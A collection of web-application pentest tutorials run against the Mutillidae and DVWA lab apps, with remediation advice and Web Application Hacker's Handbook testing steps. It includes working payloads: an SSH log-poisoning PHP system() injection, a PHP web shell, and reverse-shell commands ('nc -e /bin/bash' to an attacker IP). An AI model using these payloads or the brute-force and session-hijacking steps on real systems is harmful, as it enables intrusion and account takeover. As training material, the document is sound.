Testing LFI to RCE using auth.log (SSH) poisoning with Mutillidae & BurpSuite

https://wiki.owasp.org/index.php/Testing_for_Local_File_Inclusion

The File Inclusion vulnerability allows an attacker to include a file within the system, this happens due to bad handling of user input.

Local File Inclusion (also known as LFI) is the process of including files, that are already locally present on the server, the parameter might be able to be passed in via either GET (URL) or POST (variables) due to the parameters pollution flaw. Using the parent traversal operator (“..”) can help break out of the web server file folders. Also, direct file paths can be tried.

This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:

  • Code execution on the web server
  • Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)
  • Denial of Service (DoS)
  • Sensitive Information Disclosure

Example of vulnerable code

<?php

$file = $_GET[‘file’];

if(isset($file))

{

include(“$file”);

}

else

{

include(“index.php”);

}

?>

Demo

1. Access to OWASP 2017 – “A5 – Broken Access Control” – Insecure Direct Object References – Local File Inclusion

2. Make a request and grab it with BurpSuite for further analysis

We see this is a GET request and the parameters can be modified via BurpSuite or directly from the URL in the browser. This time I decided to keep playing with BurpSuite.

3. Modify the request and try to see a common file, we use the path as below to make sure we go back to the root directory, also, you can encode the value to try to skip user input validation.

  • page=../../../../../../etc/hosts

Edited request

Server response

In the browser we see the following

This means that /etc/hosts can be read via LFI.

Log Poisoning to Remote Code Execution

This technique is used to poison any log if you can write append to it. This case we will use auth.log this is an ssh log located in /var/log/

1. Try to read that file using LFI technique

There are possible results:

  • Display file auth.log content: If the user has permission to read it
  • Display blank page: It exists but can’t be read or displayed
  • 404 error: The file doesn’t exist

2. In this case we can read the file. Since, SSH is used to write on this file, we use SSH to try to leave a log entry.

  • ssh vk9sec@192.168.0.13

This is the log entry, if we have access to the server

  • tail -n 5 -f auth.log

Since, we can read the file from the browser we search for that entry

At this point we know we are writing to this file.

3. Now, we will poison the log file with the following entry

  • ssh ‘<?php system($_GET[‘cmd’]); ?>’@192.168.0.13

Looking at the log locally from the server I found the entry

  • tail -n5 -f auth.log

In the browser I found this entry

  • “Invalid user from 192.168.0.13 port 43318”

4. Now we have injected the “cmd” variable to execute system commands, let’s try that out. We will be printing the current working directory

  • http://127.0.0.1:8080/mutillidae/index.php?page=/var/log/auth.log&cmd=pwd

Here we can see the output of pwd command. We are executing those. Now we will execute a reverse connection.

5. To have the remote session start the listener

  • nc -lvp 4444

Now run the following command instead of the pwd

  • http://127.0.0.1:8080/mutillidae/index.php?page=/var/log/auth.log&cmd=nc –e /bin/bash 192.168.0.13 4444

The listener now should have got the remote connection.

Remediation

The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.

Access control RFI & Reading file function exploitation + reverse shell with Mutillidae and BurpSuite

This time we will be exploring RFI and read file explorer

https://wiki.owasp.org/index.php/Testing_for_Remote_File_Inclusion

RFI

Remote file inclusion allows an attacker to include file remote (from the web servers point of view) possibly allowing code execution, denial of service, and data disclosure.

Since RFI occurs when paths passed to “include” statements are not properly sanitized, in a blackbox testing approach.

$incfile = $_REQUEST[“file”];

include($incfile.”.php”);

A URI can be used to specify a remote file such as http://vk9-sec.com/somefile.php

Note the page parameter contains the URL to the search page. http://localhost:8080/index.php?page=http://vk9-sec.com/somefile.php

If we host our own content, we could control the content of the page loaded by the page parameter. For example, host a small PHP web shell file on a site you control.

<?php

echo “<pre>”;

echo “shell_exec ” . $_REQUEST[“cmd” ] . “\n\n”;

echo shell_exec($_REQUEST[“cmd”]);

echo “</pre>”;

?>

We create a hyperlink that will exploit the remote file inclusion vulnerability in the index.php page to incorporate the web shell into the web page.

http://localhost:8080/index.php?page=http://vk9-sec.com/somefile.php?cmd=whoami

If we get to see the content of the command we can then successfully write a reverse shell

RFI example

1. Navigate through Mutillidae OWASP 2017 – Broken access control – Insecure Direct Object References – Remote File Inclusion

2. Capturing the traffic I see this is a “GET request”, I decided to play with the “page=” attribute in the URL “page=arbitrary-file-inclusion.php”

5. I tested this by using an existing page I own and one that doesn’t exist.

Existing one, it doesn’t print anything but shows as blank “page=http://localhost/”

Non-existing one does indicate the page is not found “page=http://localhost/123.php”

4. I created a php file to run a reverse shell, vk9script.php

  • <?php echo shell_exec(“nc -e /bin/bash 192.168.0.13 4444”) ?>

First start a listener in the attacker machine

  • nc -lvp 4444

Then we capture a request to the site and place our server and script, it will be run by the web page, I’m issuing all this locally, it does work the same on a remote server as long as there is nothing blocking traffic in between

http://127.0.0.1:8080/mutillidae/index.php?page=http://localhost/vk9script.php

Original Request

Edited request

Once, the RFI has done its work executing the remote file. The reverse shell takes effect and our listener gets a connection

Issuing the python command gives us access to a shell

End

Text File Viewer

1. Go to OASP 2017 – “A5 – Broken Access Control” – Insecure Direct Object References – Text File Viewer

2. This does read a file from a remote source, select the file and click on “View File”

3. Capturing the request, I noticed it is “POST”, and, there is a variable with a value that points to a remote file

textfile=http%3A%2F%2Fwww.textfiles.com%2Fhacking%2Fauditool.txt&text-file-viewer-php-submit-button=View+File

5. I modified this and pointed to my hosted file http://localhost/vk9script.php, also, I started a listener

Listener

  • nc -lvp 4444

Modified request

6. The listener got the remote connection, the python command gives us access to a decent shell

  • python -c ‘import pty; pty.spawn(“/bin/sh”)’

Remediation

The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.

Access control: Account highjacking with Mutillidae

This happens when a cyber-criminal controls somebody else’s account by using credentials (session ID, username number, etc.)

In this example I will demonstrate this technique using Mutillidae, we’ll create 2 accounts and highjack it.

  • OWASP 2017 – “A5 – Broken Access Control” – Insecure Direct References – Via Account Highjacking

Demo

1. Create an account “Please register here”

It opens a script named “page=register.php” Enter the following

  • Username: attacker
  • Password: test
  • Confirm Password: test
  • Signature: Follow on Twitter -> @Vry4n_

Click on create account

2. Go back and this time click on “login here”

Click on Login to access the new account. It shows at the top “Logged In User: attacker”

3. Capturing the login request with BurpSuite we noticed that by logging in the servers modified the current cookie by adding 2 more values besides the existing “showhints=1; PHPSESSID=21cv08dsk7jisebj1vb0a428jp”

HTTP request

HTTP response

New values:

  • username=attacker
  • uid=24 # This is the user ID we will exploit it

4. Send that to Burp Intruder, set the uid value as variable, as I saw 24 as uid of my created account, I will count from 1 – 100

Positions

  • Attack type: sniper
  • Uid-$24$

Payload 1

  • Simple list
  • Load ->select the list of numbers
  • Start attack

I went through the results and checked what is printed on “Logged In User: “, some results showed other than attacker, which means the uid exists

I found “admin” to be uid=1, this time the result show “Logged In Admin: “

5. Inspecting the cookie and changing the current value in the browser from 24 (attacker) to 1 (admin)

6. The result is that the user logged in now is “admin”

7. If you go back to “OWASP 2017 – ‘A5 – Broken Access Control’ – Insecure Direct References – Via Account Highjacking”

The password of the user admin can be changed.

Tips: To test this vulnerability you can create 2 accounts and compare their values to know if that can be predicted/stolen somehow.

Best practices

  • Implement role based access control to assign permissions to application users for vertical access control requirements
  • Implement data-contextual access control to assign permissions to application users in the context of specific data items for horizontal access control requirements
  • Avoid assigning permissions on a per-user basis
  • Perform consistent authorization checking routines on all application pages
  • Where applicable, apply DENY privileges last, issue ALLOW privileges on a case-by-case basis

Session Management DVWA

Log in to DVWA admin/password, Session IDs have 4 levels (low, medium, high, impossible)

We will first inspect the low one. So, set the level to low

Low

This script is very basic and unsecure, due to the session ID is created in plaintext and uses the most common sequences.

Click on view source to open the window below

This code does the following:

  • If the method is “POST” and if there is no “last_session_id” set it to 0 to start.
  • If there is already a “last_session_id” start increasing by one
  • Then, set the cookie with the value and set it as “dvwaSession”

If we test against sequencer it shows this is weak

Medium

This is still weak, instead of a fix number increment, this implements the value based on time

Sending it to sequencer shows it is still poor

High

These time things get a little more serious. This request first checks for the type of request it should be “POST”, if isset has not been declared set the variable ‘last_session_id_high” = 0, once, the session has been created increment “last_session_id_high”, set the session id value as MD5 of the “last_session_id_high”, then, set the cookie values:

  • Value name: dvwaSession
  • Set the cookie value : the md5 hash
  • Set the time to expire
  • The path in which this session is allowed: /vulnerabilities/weak_id
  • IP address
  • False might indicate some values omitted

It seems more complicated even sending this to sequencer it showed positive results: excellent

In reality this is not a secure practice, as the MD5 hash was transmitted in the response set-cookie. I captured that traffic

Set-Cookie: dvwaSession=e4c8c477d15f72bef65651ddb22c5891; expires=Wed, 15-Jan-2020 01:58:08 GMT; Max-Age=3600; path=/vulnerabilities/weak_id/; domain=127.0.0.1:8080

Now using any md5 tool, in this case I’m using https://www.md5online.org/md5-decrypt.html

So we got the Session ID.

Impossible

This time the code got more robust. If the request is “POST”, set the session ID as a hash value SHA1 of a random number, concatenate the time and concatenate the work “Impossible”

Attacking & Securing Session Management

I am writing this based on OWASP and the book “The Web Application Hacker’s Handbook”.

https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html

Introduction

The HTTP protocol is essentially stateless. It is based on a simple request-response model, in which each pair of messages represents an independent transaction.

applications use HTTP cookies as the transmission mechanism for passing these session tokens between server and client.

The server’s first response to a new client contains an HTTP header like the following:

  • Set-Cookie: ASP.NET_SessionId=mza2ji454s04cwbgwb2ttj55

Subsequent requests from the client contain this header:

  • Cookie: ASP.NET_SessionId=mza2ji454s04cwbgwb2ttj55

The vulnerabilities that exist in session management mechanisms largely fall into two categories:

  • Weaknesses in the generation of session tokens
  • Weaknesses in the handling of session tokens throughout their life cycle

A web session is a sequence of network HTTP request and response transactions associated to the same user.

Sessions provide the ability to establish variables – such as access rights and localization settings – which will apply to each and every interaction a user has with the web application for the duration of the session.

Web applications can create sessions to keep track of anonymous users after the very first user request.

Session ID

The session ID (or token) is temporarily equivalent to the strongest authentication method used by the application, such as username and password, passphrases, one-time passwords (OTP), client-based digital certificates, smartcards, or biometrics (such as fingerprint or eye retina).

Session ID Properties

In order to keep the authenticated state and track the users progress within the web application, applications provide users with a session identifier (session ID or token) that is assigned at session creation time, and is shared and exchanged by the user and the web application for the duration of the session (it is sent on every HTTP request). The session ID is a name=value pair.

  • The name used by the session ID should not be extremely descriptive nor offer unnecessary details about the purpose and meaning of the ID.
  • The session ID must be long enough to prevent brute force attacks, where an attacker can go through the whole range of ID values and verify the existence of valid sessions.
  • The session ID length must be at least 128 bits (16 bytes)
  • The session ID must be unpredictable (random enough) to prevent guessing attacks, where an attacker is able to guess or predict the ID of a valid session through statistical analysis techniques. For this purpose, a good PRNG (Pseudo Random Number Generator) must be used.
  • The session ID content (or value) must be meaningless to prevent information disclosure attacks, where an attacker is able to decode the contents of the ID and extract details of the user, the session, or the inner workings of the web application.
  • In order to protect the session ID exchange from active eavesdropping and passive disclosure in the network traffic, it is essential to use an encrypted HTTPS (TLS) connection for the entire web session, not only for the authentication process where the user credentials are exchanged.
  • The session ID exchange mechanism based on cookies provides multiple security features in the form of cookie attributes that can be used to protect the exchange of the session ID

Secure

HttpOnly

SameSite

Domain

Path

Expire

Max-age

Testing Steps

1. The application may often employ several different items of data collectively as a token, including cookies, URL parameters, and hidden form fields. Some of these items may be used to maintain session state on different back-end components. Do not assume that a particular parameter is the session token without proving it, or that sessions are being tracked using only one item.

2. Sometimes, items that appear to be the application’s session token may not be. In particular, the standard session cookie generated by the web server or application platform may be present but not actually used by the application.

3. Observe which new items are passed to the browser after authentication. Often, new session tokens are created after a user authenticates herself.

4. To verify which items are actually being employed as tokens, find a page that is definitely session-dependent (such as a user-specific “my details” page). Make several requests for it, systematically removing each item that you suspect is being used as a token. If removing an item causes the session-dependent page not to be returned, this may confirm that the item is a session token. Burp Repeater is a useful tool for performing these tests.

Weaknesses in Token Generation

  • Password recovery tokens sent to the user’s registered e-mail address
  • Tokens placed in hidden form fields to prevent cross-site request forgery attacks
  • Tokens used to give one-time access to protected resources
  • Persistent tokens used in “remember me” functions
  • Tokens allowing customers of a shopping application that does not use authentication to retrieve the current status of an existing order

Here are some components that may be encountered within structured tokens:

  • The account username
  • The numeric identifier that the application uses to distinguish between accounts
  • The user’s first and last names
  • The user’s e-mail address
  • The user’s group or role within the application n A date/time stamp
  • An incrementing or predictable number
  • The client IP address

Hacking Steps

1. Try changing the token’s value one byte at a time (or even one bit at a time) and resubmitting the modified token to the application to determine whether it is still accepted. You can use the “char frobber” payload type in Burp Intruder to modify a token’s value in one character position at a time, to help with this task.

HTTP history -> right click the request (send to intruder) -> Payloads -> Payload 1 (Character frobber)

Start Attack

It tested and came across with some 200 OK

2. Log in as several different users at different times, and record the tokens received from the server. If self-registration is available and you can choose your username, log in with a series of similar usernames containing small variations between them, such as A, AA, AAA, AAAA, AAAB, AAAC, AABA

Analyze the tokens for any correlations that appear to be related to the username and other user-controllable data.

Analyze the tokens for any detectable encoding or obfuscation. Where the username contains a sequence of the same character, look for a corresponding character sequence in the token, which may indicate the use of XOR obfuscation.

3. If any meaning can be reverse-engineered from the sample of session tokens, consider whether you have sufficient information to attempt to guess the tokens recently issued to other application users

Predictable Tokens

Vulnerabilities relating to predictable token generation may be much easier to discover in commercial implementations of session management

  • We continue polling the server to obtain new session tokens in quick succession.
  • We monitor the increments in the first number. When this increases by more than 1, we know that a token has been issued to another user.
  • Weak Random Number Generation

Testing Randomness with Burp Sequencer

Send to sequencer -> Live Capture Request -> Start live capture

Check the results: Analyze now

The overall results show “extremely poor”

Hacking steps

1. Determine when and how session tokens are issued by walking through the application from the first application page through any login functions. Two behaviors are common:

  • The application creates a new session anytime a request is received that does not submit a token.
  • The application creates a new session following a successful login.

To harvest large numbers of tokens in an automated way, ideally identify a single request (typically either GET / or a login submission) that causes a new token to be issued.

2. In Burp Suite, send the request that creates a new session to Burp Sequencer, and configure the token’s location. Then start a live capture to gather as many tokens as is feasible. If a custom session management mechanism is in use, and you only have remote access to the application, gather the tokens as quickly as possible to minimize the loss of tokens issued to other users and reduce the influence of any time dependency.

3. If a commercial session management mechanism is in use and/or you have local access to the application, you can obtain indefinitely large sequences of session tokens in controlled conditions.

4. While Burp Sequencer is capturing tokens, enable the “auto analyze” setting so that Burp automatically performs the statistical analysis periodically. Collect at least 500 tokens before reviewing the results in any detail. If a sufficient number of bits within the token have passed the tests, continue gathering tokens for as long as is feasible, reviewing the analysis results as further tokens are captured.

5. If the tokens fail the randomness tests and appear to contain patterns that could be exploited to predict future tokens, re-perform the exercise from a different IP address and (if relevant) a different username. This will help you identify whether the same pattern is detected and whether tokens received in the first exercise could be extrapolated to identify tokens received in the second. Sometimes the sequence of tokens captured by one user manifests a pattern. But this will not allow straightforward extrapolation to the tokens issued to other users, because information such as source IP is used as a source of entropy (such as a seed to a random number generator).

6. If you believe you have enough insight into the token generation algorithm to mount an automated attack against other users’ sessions, it is likely that the best means of achieving this is via a customized script. This can generate tokens using the specific patterns you have observed and apply any necessary encoding to this type of problem.

7. If source code is available, closely review the code responsible for generating session tokens to understand the mechanism used and determine whether it is vulnerable to prediction. If entropy is drawn from data that can be determined within the application within a brute-forcible range, consider the practical number of requests that would be needed to bruteforce an application token.

Testing encoding with Burp bit flipper

Send to intruder -> Attack type “sniper” -> select the variable

Payloads -> Bit flipper

Start attack

As you can see it starts playing bit by bit

Hacking steps:

1. Unless the session token is obviously meaningful or sequential in itself, always consider the possibility that it might be encrypted.

You can often identify that a block-based cipher is being used by registering several different usernames and adding one character in length each time.

If you find a point where adding one character results in your session token jumping in length by 8 or 16 bytes, then a block cipher is probably being used. You can confirm this by continuing to add bytes to your username, and looking for the same jump occurring 8 or 16 bytes later.

2. ECB cipher manipulation vulnerabilities are normally difficult to identify and exploit in a purely black-box context. You can try blindly duplicating and moving the ciphertext blocks within your token, and reviewing whether you remain logged in to the application within your own user context, or that of another user, or none at all.

3. You can test for CBC cipher manipulation vulnerabilities by running a Burp Intruder attack over the whole token, using the “bit flipping” payload source. If the bit flipping attack identifies a section within the token, the manipulation of which causes you to remain in a valid session, but as a different or nonexistent user, perform a more focused attack on just this section, trying a wider range of values at each position.

4. During both attacks, monitor the application’s responses to identify the user associated with your session following each request, and try to exploit any opportunities for privilege escalation that may result.

5. If your attacks are unsuccessful, but it appears from step 1 that variable length input that you control is being incorporated into the token, you should try generating a series of tokens by adding one character at a time, at least up to the size of blocks being used. For each resulting token, you should reperform steps 2 and 3. This will increase the chance that the data you need to modify is suitably aligned with block boundaries for your attack to succeed.

Some Weaknesses

  • Disclosure of Tokens on the Network, Some applications elect to use HTTPS to protect the user’s credentials during login but then revert to HTTP for the remainder of the user’s session.
  • Disclosure of Tokens in Logs

Securing session management

  • Generate Strong Token
  • Protect Tokens Throughout Their Life Cycle
  • Session Termination
  • Session Timeout
  • TLS Sessions

Testing Web application authentication tips

This is a summary of some tips from “The Web Application Hackers Handbook” to test authentication mechanisms as well as recommendations for securing it, it think that book is a great resource for learning web app pentest.

Brute-Forcible Login

1. Manually submit several bad login attempts for an account you control, monitoring the error messages you receive.

2. After about 10 failed logins, if the application has not returned a message about account lockout, attempt to log in correctly. If this succeeds, there is probably no account lockout policy.

3. If the account is locked out, try repeating the exercise using a different account. This time, if the application issues any cookies, use each cookie for only a single login attempt, and obtain a new cookie for each subsequent login attempt.

4. Also, if the account is locked out, see whether submitting the valid password causes any difference in the application’s behavior compared to an invalid password. If so, you can continue a password-guessing attack even if the account is locked out.

5. If you do not control any accounts, attempt to enumerate a valid username (see the next section) and make several bad logins using this. Monitor for any error messages about account lockout.

6. To mount a brute-force attack, first identify a difference in the application’s behavior in response to successful and failed logins. You can use this fact to discriminate between success and failure during the course of the automated attack.

7. Obtain a list of enumerated or common usernames and a list of common passwords. Use any information obtained about password quality rules to tailor the password list so as to avoid superfluous test cases.

8. Use a suitable tool or a custom script to quickly generate login requests using all permutations of these usernames and passwords. Monitor the server’s responses to identify successful login attempts.

9. If you are targeting several usernames at once, it is usually preferable to perform this kind of brute-force attack in a breadth-first rather than depth-first manner. This involves iterating through a list of passwords (starting with the most common) and attempting each password in turn on every username. This approach has two benefits. First, you discover accounts with common passwords more quickly. Second, you are less likely to trigger any account lockout defenses, because there is a time delay between successive attempts using each individual account.

Verbose Failure Messages

1. If you already know one valid username (for example, an account you control), submit one login using this username and an incorrect password, and another login using a random username.

2. Record every detail of the server’s responses to each login attempt, including the status code, any redirects, information displayed onscreen, and any differences hidden in the HTML page source. Use your intercepting proxy to maintain a full history of all traffic to and from the server.

3. Attempt to discover any obvious or subtle differences in the server’s responses to the two login attempts.

4. If this fails, repeat the exercise everywhere within the application where a username can be submitted (for example, self-registration, password change, and forgotten password).

5. If a difference is detected in the server’s responses to valid and invalid usernames, obtain a list of common usernames. Use a custom script or automated tool to quickly submit each username, and filter the responses that signify that the username is valid

6. Before commencing your enumeration exercise, verify whether the application performs any account lockout after a certain number of failed login attempts (see the preceding section). If so, it is desirable to design your enumeration attack with this fact in mind. For example, if the application will grant you only three failed login attempts with any given account, you run the risk of “wasting” one of these for every username you discover through automated enumeration. Therefore, when performing your enumeration attack, do not submit a far-fetched password with each login attempt. Instead, submit either a single common password such as password1 or the username itself as the password. If password quality rules are weak, it is highly likely that some of the attempted logins you perform as part of your enumeration exercise will succeed and will disclose both the username and password in a single hit. To set the password field to be the same as the username, you can use the “battering ram” attack mode in Burp Intruder to insert the same payload at multiple positions in your login request

Vulnerable Transmission of Credentials

1. Carry out a successful login while monitoring all traffic in both directions between the client and server.

2. Identify every case in which the credentials are transmitted in either direction. You can set interception rules in your intercepting proxy to flag messages containing specific strings

3. If any instances are found in which credentials are submitted in a URL query string or as a cookie, or are transmitted back from the server to the client, understand what is happening, and try to ascertain what purpose the application developers were attempting to achieve. Try to find every means by which an attacker might interfere with the application’s logic to compromise other users’ credentials.

4. If any sensitive information is transmitted over an unencrypted channel, this is, of course, vulnerable to interception.

5. If no cases of actual credentials being transmitted insecurely are identified, pay close attention to any data that appears to be encoded or obfuscated. If this includes sensitive data, it may be possible to reverse engineer the obfuscation algorithm.

6. If credentials are submitted using HTTPS but the login form is loaded using HTTP, the application is vulnerable to a man-in-the-middle attack, which may be used to capture credentials.

Password Change Functionality

1. Identify any password change functionality within the application. If this is not explicitly linked from published content, it may still be implemented.

2. Make various requests to the password change function using invalid usernames, invalid existing passwords, and mismatched “new password” and “confirm new password” values.

3. Try to identify any behavior that can be used for username enumeration or brute-force attacks (as described in the “Brute-Forcible Login” and “Verbose Failure Messages” sections).

Forgotten Password Functionality

1. Identify any forgotten password functionality within the application. If this is not explicitly linked from published content, it may still be implemented

2. Understand how the forgotten password function works by doing a complete walk-through using an account you control.

3. If the mechanism uses a challenge, determine whether users can set or select their own challenge and response. If so, use a list of enumerated or common usernames to harvest a list of challenges, and review this for any that appear easily guessable.

4. If the mechanism uses a password “hint,” do the same exercise to harvest a list of password hints, and target any that are easily guessable.

5. Try to identify any behavior in the forgotten password mechanism that can be exploited as the basis for username enumeration or brute-force attacks (see the previous details).

6. If the application generates an e-mail containing a recovery URL in response to a forgotten password request, obtain a number of these URLs, and attempt to identify any patterns that may enable you to predict the URLs issued to other users. Employ the same techniques as are relevant to analyzing session tokens for predictability).

“Remember Me” Functionality

1. Activate any “remember me” functionality, and determine whether the functionality indeed does fully “remember” the user or whether it remembers only his username and still requires him to enter a password on subsequent visits. If the latter is the case, the functionality is much less likely to expose any security flaw.

2. Closely inspect all persistent cookies that are set, and also any data that is persisted in other local storage mechanisms, such as Internet Explorer’s userData, Silverlight isolated storage, or Flash local shared objects. Look for any saved data that identifies the user explicitly or appears to contain some predictable identifier of the user.

3. Even where stored data appears to be heavily encoded or obfuscated, review this closely. Compare the results of “remembering” several very similar usernames and/or passwords to identify any opportunities to reverse-engineer the original data.

4. Attempt to modify the contents of the persistent cookie to try to convince the application that another user has saved his details on your computer

User Impersonation Functionality

1. Identify any impersonation functionality within the application. If this is not explicitly linked from published content, it may still be implemented

2. Attempt to use the impersonation functionality directly to impersonate other users.

3. Attempt to manipulate any user-supplied data that is processed by the impersonation function in an attempt to impersonate other users. Pay particular attention to any cases where your username is being submitted other than during normal login.

4. If you succeed in making use of the functionality, attempt to impersonate any known or guessed administrative users to elevate privileges.

5. When carrying out password-guessing attacks (see the “Brute-Forcible Login” section), review whether any users appear to have more than one valid password, or whether a specific password has been matched against several usernames. Also, log in as many different users with the credentials captured in a brute-force attack, and review whether everything appears normal. Pay close attention to any “logged in as X” status message.

Incomplete Validation of Credentials

1. Using an account you control, attempt to log in with variations on your own password: removing the last character, changing the case of a character, and removing any special typographical characters. If any of these attempts is successful, continue experimenting to try to understand what validation is actually occurring.

2. Feed any results back into your automated password-guessing attacks to remove superfluous test cases and improve the chances of success

Nonunique Usernames

1. If self-registration is possible, attempt to register the same username twice with different passwords. 2. If the application blocks the second registration attempt, you can exploit this behavior to enumerate existing usernames even if this is not possible on the main login page or elsewhere. Make multiple registration attempts with a list of common usernames to identify the already registered names that the application blocks.

3. If the registration of duplicate usernames succeeds, attempt to register the same username twice with the same password, and determine the application’s behavior:

a. If an error message results, you can exploit this behavior to carry out a brute-force attack, even if this is not possible on the main login page. Target an enumerated or guessed username, and attempt to register this username multiple times with a list of common passwords. When the application rejects a specific password, you have probably found the existing password for the targeted account.

b. If no error message results, log in using the credentials you specified, and see what happens. You may need to register several users, and modify different data held within each account, to understand whether this behavior can be used to gain unauthorized access to other users’ accounts.

Predictable Usernames

1. If the application generates usernames, try to obtain several in quick succession, and determine whether any sequence or pattern can be discerned.

2. If it can, extrapolate backwards to obtain a list of possible valid usernames. This can be used as the basis for a brute-force attack against the login and other attacks where valid usernames are required, such as the exploitation of access control flaw

Predictable Initial Passwords

1. If the application generates passwords, try to obtain several in quick succession, and determine whether any sequence or pattern can be discerned.

2. If it can, extrapolate the pattern to obtain a list of passwords for other application users.

3. If passwords demonstrate a pattern that can be correlated with usernames, you can try to log in using known or guessed usernames and the corresponding inferred passwords.

4. Otherwise, you can use the list of inferred passwords as the basis for a brute-force attack with a list of enumerated or common usernames.

Insecure Distribution of Credentials

1. Obtain a new account. If you are not required to set all credentials during registration, determine the means by which the application distributes credentials to new users.

2. If an account activation URL is used, try to register several new accounts in close succession, and identify any sequence in the URLs you receive. If a pattern can be determined, try to predict the activation URLs sent to recent and forthcoming users, and attempt to use these URLs to take ownership of their accounts.

3. Try to reuse a single activation URL multiple times, and see if the application allows this. If not, try locking out the target account before reusing the URL, and see if it now works.

Fail-Open Login Mechanisms

1. Perform a complete, valid login using an account you control. Record every piece of data submitted to the application, and every response received, using your intercepting proxy.

2. Repeat the login process numerous times, modifying pieces of the data submitted in unexpected ways. For example, for each request parameter or cookie sent by the client, do the following:

a. Submit an empty string as the value.

b. Remove the name/value pair altogether.

c. Submit very long and very short values.

d. Submit strings instead of numbers and vice versa.

e. Submit the same item multiple times, with the same and different values.

3. For each malformed request submitted, review closely the application’s response to identify any divergences from the base case.

4. Feed these observations back into framing your test cases. When one modification causes a change in behavior, try to combine this with other changes to push the application’s logic to its limits.

Defects in Multistage Login Mechanisms

1. Perform a complete, valid login using an account you control. Record every piece of data submitted to the application using your intercepting proxy.

2. Identify each distinct stage of the login and the data that is collected at each stage. Determine whether any single piece of information is collected more than once or is ever transmitted back to the client and resubmitted via a hidden form field, cookie, or preset URL parameter

3. Repeat the login process numerous times with various malformed requests:

a. Try performing the login steps in a different sequence.

b. Try proceeding directly to any given stage and continuing from there.

c. Try skipping each stage and continuing with the next.

d. Use your imagination to think of other ways to access the different stages that the developers may not have anticipated.

4. If any data is submitted more than once, try submitting a different value at different stages, and see whether the login is still successful. It may be that some of the submissions are superfluous and are not actually processed by the application. It might be that the data is validated at one stage and then trusted subsequently. In this instance, try to provide the credentials of one user at one stage, and then switch at the next to actually authenticate as a different user. It might be that the same piece of data is validated at more than one stage, but against different checks. In this instance, try to provide (for example) the username and password of one user at the first stage, and the username and PIN of a different user at the second stage.

5. Pay close attention to any data being transmitted via the client that was not directly entered by the user. The application may use this data to store information about the state of the login progress, and the application may trust it when it is submitted back to the server. For example, if the request for stage three includes the parameter stage2complete=true, it may be possible to advance straight to stage three by setting this value. Try to modify the values being submitted, and determine whether this enables you to advance or skip stages.

Extra

1. If one of the login stages uses a randomly varying question, verify whether the details of the question are being submitted together with the answer. If so, change the question, submit the correct answer associated with that question, and verify whether the login is still successful.

2. If the application does not enable an attacker to submit an arbitrary question and answer, perform a partial login several times with a single account, proceeding each time as far as the varying question. If the question changes on each occasion, an attacker can still effectively choose which question to answer.

Insecure Storage of Credentials

1. Review all of the application’s authentication-related functionality, as well as any functions relating to user maintenance. If you find any instances in which a user’s password is transmitted back to the client, this indicates that passwords are being stored insecurely, either in cleartext or using reversible encryption.

2. If any kind of arbitrary command or query execution vulnerability is identified within the application, attempt to find the location within the application’s database or filesystem where user credentials are stored:

a. Query these to determine whether passwords are being stored in unencrypted form.

b. If passwords are stored in hashed form, check for nonunique values, indicating that an account has a common or default password assigned, and that the hashes are not being salted.

c. If the password is hashed with a standard algorithm in unsalted form, query online hash databases to determine the corresponding cleartext password value.

Tips for security authentication mechanisms

  • Use Strong Credentials
  • Handle Credentials Secretively
  • Validate Credentials Properly
  • Prevent Information Leakage
  • Prevent Brute-Force Attacks
  • Prevent Misuse of the Password Change Function
  • Prevent Misuse of the Account Recovery Function
  • Log, Monitor, and Notify